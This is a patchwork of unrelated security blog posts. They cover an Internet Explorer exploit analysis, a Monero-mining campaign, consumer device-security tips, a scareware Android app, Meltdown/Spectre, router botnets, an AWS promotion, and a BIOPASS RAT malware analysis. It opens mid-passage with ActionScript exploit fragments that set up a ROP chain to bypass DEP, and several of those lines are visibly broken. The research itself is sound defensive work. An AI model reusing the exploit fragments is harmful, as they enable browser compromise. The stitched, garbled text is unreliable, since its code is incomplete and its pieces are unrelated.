s[_local28][(((_local41 - _local12) / 4) + 9)] = _local9;  s[_local28][(((_local41 - _local12) / 4) + 10)]


= 13078672;


s[_local28][(((_local41 - _local12) / 4) + 11)]


= _


s[_local28][(((_local41 - _local12) / 4) + 12)]


= 3096481936;


s[_local28][(((_local41 - _local12) / 4) + 13)]


= (this.m_longArrBase - 8);


s[_local28][(((_local41 - _local12) / 4) + 14)]


s[_local28][(((_local41 - _local12) / 4) + 15)]


= this.m_rawLen;


s[_local28][(((_local41 - _local12) / 4) + 16)]


= 3968066955;


s[_local28][(((_local41 - _local12) / 4) + 17)]


= 753635372;


The exploit uses the code above to restore the corrupted object and save the stack frame on the heap so that the process would not crash after the exploit is successful.


All three exploits use the same method and similar addresses to achieve that goal, even including the same hard coded assembly and registers.


_local10 = this.m_ZwProtectAddr;  _local41 = _local6;  s[_local28][((((_local6 - _local12) / 4) - 2) - 4)] = (_local41 & 0xFFFFF000);  s[_local28][((((_local6 - _local12) / 4) - 1) - 4)] = 0x3000;  s[_local28][((_local6 - _local12) / 4)] = _local10;  s[_local28][(((_local6 - _local12) / 4) + 1)] = (_local41 + 28);  The code above shows the Flash code setting up the ROP chain to bypass DEP and includes another interesting marker.


Normally programmers begin counting at 0 when referencing arrays, but in all three exploits they began at -2, which is quite unusual.


Additionally, each sample uses a Sound object named ‘snd’ to gain control, and they all invoke the function toString().


The many similarities between these exploits lead us to believe they were written by the same actor or group.


Or at the very least, a common template has been used to craft exploits for the three Internet Explorer vulnerabilities we analyzed.


This re-use of techniques is common among exploits, even if they were not developed by the same group, and Palo Alto Networks employs a unique payload-based signature detection methodology, which is able to look at the behaviors of an exploit to prevent similar attacks in the future.


Palo Alto Networks customers with a Threat Prevention subscription were automatically protected from exploitation of these vulnerabilities:  We suggest customers ensure they are running the latest content version on their devices and apply the patches Microsoft released on May 1, 2014.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


In October 2017, Palo Alto Networks Unit 42 published research showing how attackers were adapting attack techniques to generate cryptocurrency for themselves.


In that research, we also showed how these attacks were very broad and grew very quickly.


At the time, we said that the sudden, surging value of cryptocurrencies was likely behind the sudden, strong rise of these new attacks.


We said that if cryptocurrency values continue to remain high, we could expect to see attackers continue to focus on finding ways to carry out attacks to gain cryptocurrency, and that those attacks would continue to adapt proven attack techniques.


Unit 42 has just released new research showing that attackers are indeed continuing to adapt existing techniques to generate cryptocurrency.


In our research posting “Large Scale Monero Cryptocurrency Mining Operation using XMRig” we detail a new malware campaign that is global in scale, very large in the likely number of victims and uses well established techniques to mine the Monero cryptocurrency.


Monero is a cryptocurrency similar to bitcoin but notable for its increased emphasis on providing a higher level of privacy around its transactions.


Like bitcoin, Monero is generated through “mining” a computationally intensive process that provides cryptocurrency credit in exchange for computing resources provided in service to the cryptocurrency and its transaction infrastructure.


The operation that Unit 42 has recently uncovered works to deliver XMRig, software that is used to mine the Monero cryptocurrency, to victims’ systems without their knowledge or consent.


While XMRig isn’t itself specifically malware, it’s being delivered using malware-delivery techniques without the user’s knowledge and consent just like malware.


The attackers are doing this by using URL shorteners to make XMRig look like other, legitimate, and expected programs.


This is a method attackers have used for years to deliver malware and they are using it now to get coinmining software on to people’s systems illicitly.


The attackers’ use of URL shortners enables our Unit 42 researchers to get an idea of the size, scope, and scale of this operation.


And these are all notable and sobering.


First, this is a young campaign.


Our research shows this operation to be only about four months old.


Second, this is a very large campaign.


Our researchers can show that about one-half of the samples we found have affected 15 million people worldwide.


While we can’t see how many people the other half of the samples affect, it’s a reasonable supposition that the other half of the total samples affect just as many people as the half we can see.


This would mean that this operation may affect about 30 million people worldwide.


In terms of who’s been affected by this operation, again, we can only see half of those who have been affected.


But what we do see shows that this is a truly global operation.


This operation affected countries around the globe, but it appears that southeast Asia, northern Africa, and countries in South America were hit the most as shown below.  Malicious downloads by country  The specific breakout of countries affected, and their download counts are as follows:  Taking all those points together, this is operation is very large and clearly very effective.


It shows how attackers are aggressively focusing their operations and campaigns on generating and acquiring cryptocurrency.


From a threat point of view, there are two things that are notable.


First is the fact that from an attack technique point of view, there is nothing new here.


The tactics and techniques are not new or sophisticated.


Second is the fact that this operation is clearly very successful based on its size, scope, and age.


Looking at this latest operation on the continuum of evolving cryptocurrency-focused threats, it’s clear that this is an early-stage threat given its lack of sophistication and reuse of established techniques and tactics.


But given how quickly and broadly successful it is, combined with the continued high value of cryptocurrencies, we can also conclude that attackers will continue to focus on cryptocurrency and likely will evolve their techniques and tactics quickly.


Cryptocurrency-focused threats is a key area that all defenders should focus their intelligence and prevention efforts around in 2018.


Meanwhile, see our full research blog for full details on how attackers are distributing and using XMRig to generate Monero.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Today, Microsoft patched 59 Internet Explorer vulnerabilities, 21 of them discovered by Palo Alto Networks researchers.


Palo Alto Networks is committed not only to detecting attacks, but preventing them as well.


Our internal research team discovered each of these 21 vulnerabilities and reported them to Microsoft so they could begin building and testing patches.


Microsoft has already credited our team with 14 previous IE vulnerabilities in 2014, bringing our total for the year up to 35.


We want to acknowledge Palo Alto Networks researchers Bo Qu, Hui Gao, Royce Lu, Xin Ouyang and the entire IPS team for all of the hard work they’ve put into discovering and validating these vulnerabilities.


The table below provides a summary of the vulnerabilities and which versions of Internet Explorer they impact.


Internet Explorer is used in many of the networks Palo Alto Networks protects around the world and we’re doing our part to make it as secure as possible.


Last week we released a series of IPS signatures to detect an advanced exploitation technique that takes advantage of ActiveX. In May, we linked a recent IE 0-day (CVE-2014-1776) to exploit code used against two other IE vulnerabilities exploited in the last 12 months.


Microsoft patched 129 IE vulnerabilities in all of 2013 and today’s release brings the 2014 total to 116.


The faster the good guys track these down and get them patched, the harder we make the lives of the criminals looking to exploit them.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This time every year, people all over the world get new devices.


Regardless of what holiday(s) you may (or may not) celebrate, the end of the year is a time for people to give and receive some of the latest devices to come on to the market.


Nothing spoils a new gadget more than having some kind of security or privacy problem related to it.


After that, nothing spoils the fun and excitement of unboxing and playing with an exciting new device than trying to figure out what you need to do to use it with reasonable safety and privacy.


To that end, we’re providing some very basic, but critical steps that you, your family, your loved ones, and friends can take to ensure some basic security and privacy for new devices quickly and easily that can help you be safer and not spoil your unboxing fun.  In the vein of the holiday spirit, we’re providing a list of twelve short, simple recommendations that can help you have a happy, safe, and private holiday season.


1. Use a Password Manager:


Even though not all devices can use password managers directly, it’s still one of the best things you can set up.


PCs and Macs as well as smartphones and tablets increasingly support the use of password managers directly.


But even for devices that don’t, you can and should use a password manager to generate and store strong passwords for use on all devices in its vault.


Preferably, find a password manager that requires two-factor authentication.  2. Protect Your Home Routers and Wi-Fi:


In a home of computers, phones, tablets and IoT devices, nearly always the common point is the home router and Wi-Fi.


For most, it’s something they set up once and forget about.


But if you want to keep your home devices more secure, you need to make sure the underlying router and Wi-Fi are more secure.


Take time to ensure you have a good, complex, unguessable password.


This is where a password manager can help.


You may consider configuring it to not broadcast the SSID as well: that can make adding devices a little harder, but that means it’s even harder for people to try and join your home network.  3. Set up More Secure Accounts on Your PCs and Macs: PCs and Macs (both desktop and laptop) are still around and as important as ever in the home.


Take time to set up an account for everyone with their own username and password.


Also, all modern operating systems allow you to make accounts “regular user” accounts rather than admin accounts.


Set everyone up as a “regular user” and set up a separate administrative account to use for maintenance.


If you have kids, avoid the temptation to let them all use one account or accounts without passwords: this is a chance for them to start to learn the right way to handle passwords by giving them their own and teaching them to never share that password.


You can generate the password for them and retain it as the “administrator” if you want for monitoring.


This also is an important lesson for kids to understand that privacy on computers isn’t absolute: the admin can always look at what they’re doing.


4. Prevent Lost Tablets and Smartphones from Turning into Something Worse: Portable devices means an increased risk of loss or theft.


These days, our portable devices often have greater access to more sensitive information than our PCs and Macs do – in the form of mobile banking apps, wallet apps and stored credit cards.


All modern tablets and smartphones have settings you should enable before you take these portable devices out of your home:  a. Passcodes to lock the device.


b. Encryption of information on the device.


c. Lost device location.


d. Deleting or “wiping” data if too many bad passcodes are tried or if you active it remotely.


5. Protect your Data on Smartwatches and Personal Fitness Devices: Smartwatches and personal fitness devices are similar to smartphones and tablets and have some of the same features.


In addition to using those features, you should take time to ensure you know what health information is being used and that the cloud account(s) these devices synchronize with have very strong passwords.


These devices gather some of your most personal information.


In some cases, the most serious risk isn’t around the device but the data being stored in the cloud.


6. Be Smart with Your Smart Home: Smart home is an umbrella term for a diverse set of devices that have one thing in common: they all feature some kind of internet connectivity.


Each and every device will have its own security and privacy settings and it pays to take time to understand those BEFORE you put these to work in your home.


Across the board, though, making sure your home router and Wi-Fi have good security and that you’re using good, strong unique passwords when paring devices with apps (where possible) are easy things you can do for all these devices.


7. Don’t Forget About Home Entertainment Apps, TVs and DVRs:


When we think about home entertainment, there’s really two things you need to think about with security.


First is the security of the devices themselves.


In nearly all cases, good security around home routers and Wi-Fi will be the best thing you can do for the devices.


But home entertainment isn’t just the physical devices.


It’s the apps you use to view content.


All apps like those from Netflix, Amazon, Hulu and others have their own passwords to connect to their service, and attackers crack and sell compromised accounts to these services.


Because of this, make sure you’re using good, strong unique passwords for the apps you use on these devices.


This will also protect these apps on your tablets, smartphones, PCs and Macs.


While You’re at it, Protect Your Gaming Consoles:


Similar to home entertainment devices, gaming consoles have both the security of the actual device and then the security of the cloud-based accounts to deal with.


Just like with home entertainment devices, it’s the cloud-based account that attackers are more interested in.


Here again, taking time to set up good strong passwords is key.


Also, many gaming platforms now include a second means of authentication (typically a text sent to your phone): you can and should enable that, if at all possible.


9. Configure User Profiles for Voice Assistants:


Voice assistants are some of the newest devices out there, which means they’re the least known and understood.


The biggest risk that’s been popularly discussed is voice command hijacking by outside sources.


While a cool news story, it’s not been documented to be a broad risk, especially as devices get better at specific voice recognition.


For these devices, take time to configure individual user profiles as much as possible.


And many of these devices feature mute buttons that can functionally turn them off when you don’t need them.


If you haven’t been using it, consider using that feature.


10. Use Smart Speakers Smartly:


Smart speakers can be thought of as a subset of home assistants in that they are voice-activated devices in your home.


And many smart speakers have digital home assistants built into them, making the distinction even less clear.


This means that what you would do for security for your digital home assistant would apply to smart speakers as well.


However, one thing to consider is if all you really want or need is a smart music device, it may make sense to keep your purchases focused on devices that do only that.


This can improve your security by reducing the risk posed by features that you don’t want or need.


11. Drive Safely and Securely with Smart Cars:


While “car hacking” is something that you see in the news, the reality is that practical smart car security is more common than headlines may lead you to believe.


A key differentiating feature with smart cars is they often have “smart” lock and ignition systems that are tied to fobs and/or your devices (like a smartphone).


Good smart car security in this case means building on the good security around devices and good physical security.


Ensure that any connected smart devices have good security, especially to protect against loss or theft.


Make sure you only give fobs to people that you trust.


And ensure that any cloud-connected accounts have good passwords and use a second authentication method, if possible.


12. Patch, Patch and Patch Some More:


We close this list with patching because it is the most important thing you can do.


Few people like getting into the guts of devices to manage updates and the apps on them but the reality right now is that this is not only critical for security and privacy, it’s also sometimes a process that can only be done manually.


For every kind of device or system, you should think about and understand how you can do updates for:  a.


The “firmware”: this is the software that is on the physical device itself, like the actual router, the actual car or the actual DVR.


b. The operating system on the device: Some devices don’t have an operating system separate from the firmware, but many do.


PCs and Macs have firmware and an operating system (Windows, macOS and Linux).


c. The apps and applications on the computer or device: Like we noted about home entertainment and gaming consoles, sometimes it’s the apps rather than the device itself that is important.


Many apps these days have auto-update capabilities.


But some don’t, so it’s important to make sure you know how apps get their updates.


If you take some time to understand these basic ideas and take these basic steps, you can ensure that you’ve got a good start on using new devices more safely and with better privacy during the holiday season.  Of course, this isn’t an exhaustive list.


And it’s always good to know about other features and capabilities, for example child safety controls.


But the start of a journey of a thousand miles begins with one step, and the start of a journey of a thousand days of using these new devices safely can start with these simple steps.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


We have recently been investigating an antivirus app in the Google Play store that was displaying fake virus detection results to scare users into purchasing a premium service.


According to the Google Play store statistics, users have downloaded “AntiVirus for Android™” more than one million times and the app was listed in Top 100 free apps in Tools category.


Our Wildfire analysis cloud captured the initial app and identified it as Scareware.


On January 20, we reported this issue to Google and two days later, they removed the app from Google Play.


“AntiVirus for Android™” was developed by a company named “CTG Network Ltd.


”(Figure 1)


According the (now removed) Google Play listing, the app was downloaded and installed between 1 million and 5 millions times.


Before the removal it had also received 5,162 recommendations and 16,531 reviews that resulted in an average score of 4.0.


According to AppBrain, the app was also listed in top 30 of Top Grossing Apps in Tools category in United States, Japan, France and South Korea.


Figure 1 AntiVirus for Android™ in the Google Play Store


When a user opens the app, it will always report that it has located two or three threats on the device (Figure 2), including the following:  Figure 2


The App Indicates Two Threats were Found  If the user clicks the “Repair” button, the apps will indicate that one of the threats was eliminated and advise the user to upgrade to its full version to remove the remaining threat(s).


If the user clicks the “Update to Full Protection” button they will be prompted to subscribe to a service that costs $4.99 (US) per month through In-App Purchase of Google Play (Figure 3).  Figure 3


The app requests that the user pay 4.99$ per month for full protection.


Through analyzing the app’s code we discovered a multiple indications that this program was not a legitimate Antivirus program, but actually Scareware.


First, the initial “threats detection results” are hard-coded in the app (Figure 4), which means the app wasn't actually detecting them on the phone.


The developer even directly named these “infected packages” as “fake.virus” in the source code.


Figure 4 Hard-coded fake threat detection results


Since the detection result is fake, the subsequent cleaning is not real either – the elimination operation is just marking a flag of "initial_virus_cleared" to “1” in the app’s internal database.


The code in Figure 5 shows that the “We have eliminated 1 of %d Threat(s)” message shown in Figure 3 is also hard coded.


Figure 5 Code that generated the fake threat cleared page.


One interesting difference between this program and other Fake AV apps is “AntiVirus for Android™” will actually provide real antivirus services to paid users.


The app integrates a mobile antivirus engine provided by Bitdefender and if users upgrade to the premium version, it will scan apps and the device’s SD card with that engine.


This is the main reason we classify the program as Scareware rather than just Fake AV.


It is not clear whether the integrated BitDefender AV engine is actually licensed to the app’s developer.


The engine retrieves code updated and new signatures updating from hxxp:// api.androidsantivirus .com /antivirus/android-arm, which is hosted on the app’s official website.


Figure 6 The App Integrates the BitDefender AV Engine for Premium Users


In March of 2014, a Fake AV app named “Virus Shield” was listed for sale at $3.99 and quickly rose to the top position of Google Play’s New Paid Apps list.


Virus Shield was downloaded over 30,000 times, fare fewer than this latest piece of Scareware, although we do not know how many users actually paid for the $4.99 monthly service before Google removed the app from the store.


The fact that AntiVirus for Android™ contains an actual AV engine makes it more difficult for other programs to identify it as Scareware, as this makes the program appear legitimate.


While Google has already removed this application from the Play store, we’ll keep monitoring the latest Android apps to make sure WildFire is providing the best protection for our customers.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)  Bottom line


up front


Overview


In the past 48 hours, there has been a flurry of activity as hardware and software vendors move to address two sets of vulnerabilities that have been dubbed “Meltdown” and “Spectre”.


This blog is meant to give an overview of the situation, the vulnerabilities, assist Palo Alto Networks customers and others with their risk assessment, and provide recommendations for actions they can take to prevent successful attacks against these vulnerabilities.


Situation


On January 3, 2018, researchers, including those with Google Project Zero, released information on three new vulnerabilities:


They grouped these vulnerabilities under the names “Spectre” (CVE-2017-5753 and CVE-2017-5715) and “Meltdown” (CVE-2017-5754).


Comprehensive details on both of these are available at https://meltdownattack.com.


Security updates to address these vulnerabilities began to be released prior to disclosure on January 3, 2018.


Security updates are continuing to be released and are expected to be released over time due to the uniquely broad nature of these vulnerabilities.


At the time of this writing, there are no known active attacks against any of these vulnerabilities.


Vulnerabilities  These vulnerabilities present a unique situation because they ultimately are hardware-based vulnerabilities.


All three stem from issues in modern processors and are known to affect Intel and ARM chips.


The vulnerability status of AMD chips is unclear at the time of this writing.


Because these affect processors, this means that the operating systems and applications that run on top of these processors are vulnerable.


Because these vulnerabilities affect the processors at the physical layer, the only way for the vulnerabilities to be fully addressed is for the processors to be replaced or to have a firmware update.


Until then, the makers of operating systems can (and have) released patches that make the physical-layer vulnerabilities inaccessible.


For all intents and purposes, it “patches” the vulnerabilities.


Full technical details on the vulnerabilities are available at the sites referenced above.


But the key point to understand about these vulnerabilities is that they are information disclosure vulnerabilities that can enable processes and applications to access information they otherwise shouldn’t be able to: user-mode applications can access privileged information in the kernel and throughout the operating system.


For regular end-user systems and devices, malware and malicious scripts can use these vulnerabilities to access information like usernames, passwords and account information.


For shared-hosting environments like public cloud providers, this means that one hosted customer could potentially access the information of any other customer hosted on the same hardware.


Based on analysis of the vulnerabilities, an industry consensus is emerging that generic protections against attacks aimed at these vulnerabilities will be difficult, if not impossible to develop.


This means that prevention against attacks will have to focus on specific malware, attacks, and hosting sites as they emerge.


Risk Assessment


Because these are information disclosure vulnerabilities, they don’t pose the same, immediate danger like WannaCry/WanaCrypt0r or Petya/NotPetya.


This has more in common with the Heartbleed event of 2014.


In terms of the severity of the vulnerabilities themselves: they are important, but not critical.


They are information disclosure, not code execution, vulnerabilities.


The greatest area of risk is in shared-hosting scenarios.


Fortunately, most cloud providers have already deployed security updates and those that haven’t are expected to do so shortly.


For end-users and those managing networks, the greatest risk these vulnerabilities pose is exploitation by malware seeking to gather information like usernames and passwords from systems.  What makes these vulnerabilities most notable from a risk assessment point of view is breadth of exposure.


Since these potentially affect nearly every device with a modern processor, that means that full mitigation and remediation may not be possible.


Older systems (like Windows XP) and devices (like older Android smartphones and IoT devices) will likely never receive fixes for these vulnerabilities.


Calls to Action


The actions to take in response to this event are clear and simple:  As always, we will continue to watch this event closely and provide any updates that we can.


For information on how Palo Alto Networks products are affected by these issues, customers can see our posting on the Live Community at: https://live.paloaltonetworks.com/t5/Customer-Advisories/Information-about-Meltdown-and-Spectre-findings/ta-p/193878/jump-to/first-unread-message.


If you have any questions, please visit the Threat & Vulnerability Discussions on our Live Community.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


In recent research, Palo Alto Networks found attackers were targeting home routers to take control and use them for attacks against other websites that can bring them down.


Here we explain this type of attack and what you should do.


Why should I care, what can it do to me?


These attacks could affect you in two ways:  What causes this kind of attack?


Weak passwords and out-of-date software can both enable attackers to take complete control of your home router.


How can I prevent it?


Attackers target home routers like this by targeting default passwords and out-of-date software on the routers.


An easy thing you can do is restart your router once a week (typically by unplugging it).


You can also stay safe by changing the password on your router and updating the software.


If you’re not sure how to do this, contact your Internet Service Provider (ISP) that gave you the router for help.


How does it work?


When devices (in this case, the routers) are under someone else’s control like this, the collection is referred to as a “botnet”, a network (-net) of remotely controlled systems or devices (bot-).


When attackers have complete control of your home router, they can install attack software that they control, turning the device into a “bot”.


Attacks can make all the controlled routers in a botnet do anything they want, including sending huge amounts of data to try and bring websites down.


These kinds of attacks are called “Distributed Denial of Service” or “DDoS” attacks.


Attackers use them to take down websites for several reasons:  About Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.


They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.


Got a topic you want us to write about for you, your friends, or your family?


Email us at u42comms@paloaltonetworks.com.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


There’s a very good reason why AWS remains a leader in cloud computing.


While many providers describe themselves as “customer obsessed,” few come close to our long-time partner in the lengths it goes to earn and retain the trust of its customers.


AWS starts with the customer and works backwards.


That means the vast majority of its feature enhancements and new services are directly driven from their input.


The latest is Amazon GuardDuty Malware Protection.


This threat detection tool, which will work closely with Trend Micro cloud solutions, will provide another valuable layer of defense in our fight against a shared adversary.


Shining a light on an expanding attack surface Spurred by a drive for greater cost efficiency and business agility, global organizations are migrating to the cloud in droves.


Gartner predicts the worldwide market for public cloud services will reach almost $495bn this year, and grow by over 21% in 2023.


In this environment, security remains a persistent concern for cloud builders, because if not properly managed, investments can increase the digital attack surface.


According to recent Trend Micro research, many global organizations are already struggling to securely manage their cloud assets.


We found that 73% of IT and business leaders are concerned with the size of their attack surface, and 43% claim it is “spiralling out of control.”


Cloud is the area where most respondents say they have least insight.


They want their cloud providers to do more—for example by building enhanced detection into their systems, to complement third-party tools.


That’s part of the reason why AWS built Amazon GuardDuty Malware Protection was built.


This new feature is triggered by detection of known malicious signatures across the cloud network.


Based on this detection, the service scans the associated Amazon EBS storage environment for malware and reports any findings to AWS Security Hub.


Open APIs from here link to products like Trend Micro Cloud One to enhance existing detection and response efforts.


Better together Trend Micro and AWS have been working closely together for over a decade now, and this latest announcement represents another exciting stage in the journey.


Customers will welcome AWS native threat detection as a complement to their Trend Micro Cloud One capabilities, delivering a comprehensive range of features to secure the hybrid cloud.


Once they add the AWS tool to our virtual patching, vulnerability scanning, lateral movement detection, posture management and other capabilities, joint customers will have a powerful set of integrated offerings to deliver simple, all-in-one cloud security and compliance.


In addition, this move from AWS validates our XDR strategy, which is focused on using as many data sources as possible to enhance detection and response.


The bottom line is that security takes a village.


Customers, cloud providers and security vendors have a shared responsibility to work together as the threat landscape continues to evolve.


That’s what we’ll continue to do, expanding and deepening our strategic partnerships with AWS and other providers in a collective effort to make the digital world safer.


Tags  Cloud | Latest News | Malware | APT & Targeted Attacks |


Compliance & Risks | Articles, News, Reports


We discovered a new malware that targets online gambling companies in China via a watering hole attack, in which visitors are tricked into downloading a malware loader disguised as a legitimate installer for well-known apps such as Adobe Flash Player or Microsoft Silverlight.


Closer examination of the loader shows that it loads either a Cobalt Strike shellcode or a previously undocumented backdoor written in Python, a new type of malware that we found to be named BIOPASS RAT (remote access trojan).


BIOPASS RAT possesses basic features found in other malware, such as file system assessment, remote desktop access, file exfiltration, and shell command execution.


It also has the ability to compromise the private information of its victims by stealing web browser and instant messaging client data.


What makes BIOPASS RAT particularly interesting is that it can sniff its victim’s screen by abusing the framework of Open Broadcaster Software (OBS) Studio, a popular live streaming and video recording app, to establish live streaming to a cloud service via Real-Time Messaging Protocol (RTMP).


In addition, the attack misuses the object storage service (OSS) of Alibaba Cloud (Aliyun) to host the BIOPASS RAT Python scripts as well as to store the exfiltrated data from victims.


We consider BIOPASS RAT as still being actively developed.


For example, some markers that we discovered during our analysis refer to different versions of RAT code, such as “V2” or “BPSV3”.


Many of the loaders that we found were used to load Cobalt Strike shellcode by default instead of the BIOPASS RAT malware.


Furthermore, BIOPASS RAT also creates scheduled tasks to load the Cobalt Strike shellcode during the initialization, indicating that the malicious actor behind the attack still heavily relies on Cobalt Strike.


We also found several clues that show how the malware might be connected with the Winnti Group(also known as APT41).


In this blog entry, we will dive deeper into BIOPASS RAT with a detailed technical analysis of the infection chain, the different components of the malware, and any possible associations with Winnti.


Infection chain


The initial delivery mechanism of BIOPASS RAT uses of a watering hole, a compromised website in which the malicious actors inject their custom JavaScript code to deliver malware.


In most of the cases that we observed, the attackers usually place their injection script in their target’s online support chat page.


Figure 1. The login panel of BIOPASS RAT       Figure 2. Code showing the watering hole attack injection     The injected script will try to scan the affected host by sending HTTP requests to a list of ports.


If it receives any response with an expected string from these ports, the script will stop.


This step is likely designed to avoid attacking an already infected victim.


We found that the BIOPASS RAT has the ability to open an HTTP service running on localhost on a port chosen from a hard-coded list.


This functionality allows the script to identify whether the victim has already been infected by their malware.


It conducts this identification by testing whether the port is open or not and then by checking the response.      Figure 3.


The script used to check for existing BIOPASS RAT infections     If the script confirms that the visitor has not yet been infected, it will then replace the original page content with the attackers’ own content.


The new page will show an error message with an accompanying instruction telling website visitors to download either a Flash installer or a Silverlight installer, both of which are malicious loaders.


It is important to note that both Adobe Flash and Microsoft Silverlight have already been deprecated by their respective vendors.


Figure 4.


The fake Adobe Flash Player download page of the watering hole attack      Figure 5.


The fake Silverlight download page of the watering hole attack      Figure 6.


Anti-VM checks in sample c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5      Figure 7.


Check for zh-CN-preferred UI language in sample 89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54


The legitimate known application is downloaded and executed.


Authenticode-signed files are either downloaded from the official websites (as seen in sample c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5) or are hosted on Alibaba Cloud OSS on the attackers’ account.


Visual C++ runtime, a legitimate and signed vc_redist.x??.exe, and Python runtime are then downloaded.


These files are also hosted on Alibaba Cloud OSS on an attacker-controlled account.


The Python runtime is usually a ZIP file with all required executables, as well as the DLL and Python libraries necessary for running Python scripts on machines where Python is not installed.


Scheduled tasks that are activated on a new login are created.


These tasks can run a BPS backdoor or a Cobalt Strike loader.


Figure 8.


Code excerpt from the scheduled task     We also noticed the path string “ServiceHub”, which is a path to the extracted Python runtime.


After the hex decoding of the arguments, we get a Python one-liner that downloads additional Python scripts from the cloud.


Figure 9.


Python code for downloading additional components from Alibaba Cloud OSS      Figure 10.


The BIOPASS RAT infection flow


Examining the BIOPASS RAT modules We observed a few scheduled tasks being created, with the number dependent on the analyzed sample.


In the following section, we provide an analysis for each important backdoor module.


The cdaemon module  One of the modules used is called “cdaemon”.


At the time of our research into this threat, only the “print(1)” command is able to be executed.


An old sample of the module (30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7) is likely a watchdog to check the status of another module that is known as “c1222”.  The malicious actors can change this behavior by replacing the content of the cdaemon.txt service in the cloud so that when combined with the regular execution of the scheduled task, the cdaemon task can behave like a backdoor.


Figure 11.


The content of the cdaemon.txt backdoor     The c1222 module


The second scheduled task is called “c1222.txt,” which is a Python code run by a previously downloaded Python runtime.


This code runs an HTTP server that listens on predefined ports.


If accessed by an HTTP client, it returns a marker value.


Figure 12.


The list of predefined ports to bind an HTTP service to, which is reversed     After accessing the infected machine with an HTTP server bound to a predefined port


, the module returns the marker value.


Figure 13.


The HTTP service with marker BPSV3     We also observed other markers — such as, “cs_online”, “online”, and “dm_online”.


The purpose of the HTTP service is to act as a marker for an infected machine to avoid repeated infection, as aforementioned in the infection chain section.


The most important task of the c1222 script is to download, decode, and execute the Cobalt Strike shellcode.


Based on the platform, it downloads a file with an encoded shellcode (sc3.txt, x64.txt), and then decodes it (the shellcode is base85 and hex-encoded).      Figure 14. Decoding the Cobalt Strike shellcode     The big module (BIOPASS RAT)


The third scheduled task —is called “big.txt”— is responsible for implementing the BIOPASS RAT malware.


This is a Python-based backdoor that is distributed in plain text or compiled with Nuitka or PyArmor and PyInstaller.


When the malware starts, it checks whether the file with the hard-coded name “%PUBLIC%/20200318” exists.


This file is a marker to determine if the scheduled task of the backdoor has been installed.


If the file (that is, the marker) is not found, the backdoor creates a new one and writes the current timestamp onto it.


The malware will then delete the scheduled tasks added by the loader and add two new scheduled tasks that are listed in Table 1.


Task Name  Behavior   ServiceHub  Executes Python with a parameter that is the Python script to download and execute Cobalt Strike loader script “c1222” module  ShellExperienceHost  Executes Python with a parameter that is the Python script to download and execute BIOPASS RAT script “big” module   Table 1.


The scheduled tasks created by BIOPASS RAT   The BIOPASS RAT malware loads a Python script, “online.txt” that will open an HTTP server that listens on one of the following port numbers: 43990, 43992, 53990, 33990, 33890, 48990, 12880, 22880, 32880, 42880, 52880, or 62880.


The HTTP server does nothing but returns string “BPSV3” to request.


A second HTTP server will also be created to listen on one of the aforementioned port numbers.


The second HTTP server behaves the same as the first but returns a string, “dm_online”, instead.


These are the markers of infection as previously mentioned.


After the servers are established and running, the backdoor creates an execution root directory in the folder “%PUBLIC%/BPS/V3/”.


Figure 15.


The script of a simple HTTP server to return string “dm_online”     If the malware finds that the system username is “vbccsb”


, it will stop.


It must be noted that “vbccsb” is the default username on ThreatBook Cloud Sandbox, a popular alternative to VirusTotal in China.


If the backdoor finds that the file “debug” present inside the root directory, it will wait for 130 seconds and then continue with execution.       Figure 16.


The script used to check the username and debug mode


Next, the backdoor will try to read the file “bps.key” inside the root directory.


This file contains the victim ID assigned by the command-and-control (C&C) server.


If the file hasn’t been created, it will set the victim ID to a null value until the C&C server assigns it.


At the end of initialization, it collects the information of the victim’s system and initializes values in the global config variable that contains important configuration information.


This includes the backdoor version (we observed V2 and V3), access keys, endpoint address, the bucket name for Alibaba Cloud OSS, and a URL for downloading the utility sc.exe that is used for taking screenshots.


Figure 17.


The BPS backdoor global configuration variable     The backdoor communicates with the C&C server using the Socket.io protocol.


The C&C communication is encrypted with AES ECB algorithm using a hard-coded password, ZLIB compression, and base85 encoding.


Figures 18 and 19 show how the malware sends the “join” event to initialize C&C communication and attach the victim’s encrypted data.


Figure 18.


Encoded “join” event sent to the C&C server      Figure 19.


Decoded “join” event sent to the C&C server.


It’s important to note that attributes like IP address, computer and username, architecture, installed antivirus, and geolocation are included.


The BIOPASS RAT malware registers three custom Socket.io event handlers:


1.      The “notice” handler is used for checking the connection with the C&C server.


The backdoor regularly sends a “notice” event to the server and records the timestamp if it also receives a “notice” event as the response.


If the malware doesn’t receive any “notice” event within a hard-coded threshold period, it will restart.


2.      The “set key” handler is used for accepting the victim ID, a random string with six characters, assigned by the C&C server.


It will be attached in each of commands sent from the server and will also be used as the folder name on a cloud storage service to save the stolen data.


The victim ID will be stored in the “bps.key” file.


3.      The “accept task” handler is the main handler used to process the command sent from the C&C server and to return the execution result.


We share more details of each command in the next section.


